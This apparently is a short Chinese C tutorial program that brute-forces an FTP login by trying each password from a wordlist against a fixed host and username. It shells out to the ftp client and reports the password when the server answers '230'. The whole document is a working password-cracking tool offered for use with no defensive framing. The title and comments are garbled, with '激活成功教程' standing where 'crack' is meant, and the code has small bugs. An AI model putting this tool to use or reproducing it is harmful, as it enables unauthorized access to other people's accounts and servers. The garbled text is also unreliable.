激活成功教程ftp密码代码

//写一个ftp密码激活成功教程器
//1 创建秘钥
 
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int main() 
{
	char *ipaddress="192.168.10.1";
	char *username="ASUS";
	char password[1024];
	FILE *fp=fopen("passwordtab.txt","r");//打开密码字符串
	if(!fp)
	{
		return -1;	
	} 
	while(!feof(fp))
	{
		memset(password,0,1024);//初始化密码字符串 
		fgets(password,1024,fp);//
		FILE *fp1=fopen("passfile.txt","w");
		if(!fp1)
		{
			fclose(fp);
			return 0;	
		}
		fprintf(fp1,"open %s\n",ipaddress);
		fprintf(fp1,"user %s\n",username);
		fprintf(fp1,"%s",password); 
		fprintf(fp1,"bye\n");
		fclose(fp1);
		
		//测试秘钥文
		 
		system("ftp -n -s:passfile.txt>temp.txt");
		//分析密码
		
		char s[1024];
		 
		//读取临时文件 
		FILE *fp2=fopen("temp.txt","r");	//
		if(!fp2)
		{
			fclose(fp2);
			return 0;	
		}
		while(!feof(fp2))
		{
			memset(s,0,1024);
			fgets(s,1024,fp2);
			if(!(strncmp(s,"230",3)))
			{
				printf("激活成功教程成功\n");
				printf("password=%s\n",password);
				fclose(fp);
				fclose(fp2);
				return 0; 
			}
		}
		fclose(fp2);
		printf("失败\n");
	}
	fclose(fp); 
	return 0;
}